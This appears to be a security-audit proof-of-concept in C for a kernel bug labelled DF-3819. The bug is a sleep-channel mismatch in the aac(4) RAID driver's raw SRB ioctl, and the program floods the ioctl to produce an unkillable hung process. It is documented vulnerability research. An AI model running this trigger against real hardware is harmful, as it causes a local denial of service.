DF-3819 / aac_rawsrb_hang.c
/* * DF-3819 -- aac(4) FSACTL_SEND_RAW_SRB sleep-channel mismatch * * sys/dev/raid/aac/aac.c:aac_ioctl_send_raw_srb() does: * * cm = NULL; * ... * event->ev_arg = &cm; (aac.c:3092) * aac_add_event(sc, event); * lksleep(cm, &sc->aac_io_lock, 0, "aacraw", 0); (aac.c:3094) * * i.e. it sleeps on the channel whose value is `cm' == NULL, while the * CMFREE event callback aac_ioctl_event() later does wakeup(arg) with * arg == &cm (the kernel stack slot, aac.c:2970). The channels never * match, so once the FIB pool is exhausted the ioctl thread sleeps * uninterruptibly (no PCATCH) forever -- unkillable D-state process. * * Compare the correct sibling in aac_ioctl_sendfib() (aac.c:3003): * lksleep(&cm, &sc->aac_io_lock, 0, "sendfib", 0); * * This trigger simply attempts to reach the ioctl on /dev/aacd0. * On hardware: hammer the device with concurrent raw SRBs until the * FIB pool is exhausted -> the process hangs in "aacraw" forever. * On the audit guest (no Adaptec AAC PCI HBA): open() fails ENOENT, * proving the path is hardware-gated. */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> /* Native encoding, sys/dev/raid/aac/aac_ioctl.h */ #define AAC_FSACTL_SEND_RAW_SRB _IO('8', 19) /* 0x20003813 */ /* Linux-compat encoding also dispatched by aac_ioctl() */ #define LNX_FSACTL_SEND_RAW_SRB 0x00021933 /* CTL_CODE(4,2067,BUFFERED,0) */ int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/aacd0"; unsigned char srb[128]; void *ptr = srb; int i, fd; printf("DF-3819 trigger: device=%s\n", dev); fd = open(dev, O_RDWR); if (fd < 0) { printf("open(%s) failed: %s\n", dev, strerror(errno)); printf("=> aac(4) control device absent (no AAC HBA attached);\n" " ioctl surface unreachable on this machine.\n"); return (2); } printf("open ok; issuing FSACTL_SEND_RAW_SRB in a tight loop\n"); printf("(on real hardware: run several of these in parallel until\n" "the FIB pool is exhausted; the process then sleeps on chan\n" "NULL and never wakes: ps state 'D', unkillable)\n"); for (i = 0; i < 1000000; i++) { memset(srb, 0, sizeof(srb)); /* user_srb->data_len (first u32) must be a valid fib size */ *(u_int32_t *)&srb[0] = 64; /* data_len */ if (ioctl(fd, AAC_FSACTL_SEND_RAW_SRB, &ptr) < 0) { if (i == 0) printf("ioctl#1: %s\n", strerror(errno)); } } printf("survived %d ioctls (unexpected without hardware)\n", i); close(fd); return (0); } |